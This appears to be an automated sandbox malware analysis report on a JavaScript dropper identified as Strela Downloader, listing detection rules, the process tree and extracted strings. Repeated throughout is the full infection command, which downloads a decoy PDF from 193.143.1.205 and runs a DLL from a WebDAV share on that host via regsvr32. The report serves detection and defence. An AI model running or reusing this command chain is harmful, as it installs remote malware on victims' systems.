Edit tour

Windows Analysis Report
1012716259541818656.js

Overview

General Information

Sample name:	1012716259541818656.js
Analysis ID:	1588746
MD5:	0b60a8a5336ffe13a5da0775006703e5
SHA1:	1118387fa02e8dc0962304564f326d66bb0f1066
SHA256:	8ccff127e6dc753db52e720576985744cc588ef6ba9147a0bd47786b76f826eb
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7488 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7536 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7588 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7772 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,4274114724177970302,11413238747508519512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7788 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7816 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8044 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7488	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ProcessId: 7488, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7536, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7588, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8044, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7788, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7816, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll, ProcessId: 7536, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1012716259541818656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1012716259541818656.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000003.1698227709.000002547839A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1700537527.00000254783A7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1699248211.00000254783A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1760132001.0000026FC9DDC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1760132001.0000026FC9DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1760132001.0000026FC9DDC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/3
Source: net.exe, 00000006.00000002.1760132001.0000026FC9DA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000008.00000002.2981881771.0000015146A0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1758988425.0000015146C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1758988425.0000015146C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1758988425.0000015146C18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1758988425.0000015146C4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1758988425.0000015146CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1758988425.0000015146CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1758988425.0000015146CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7488, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

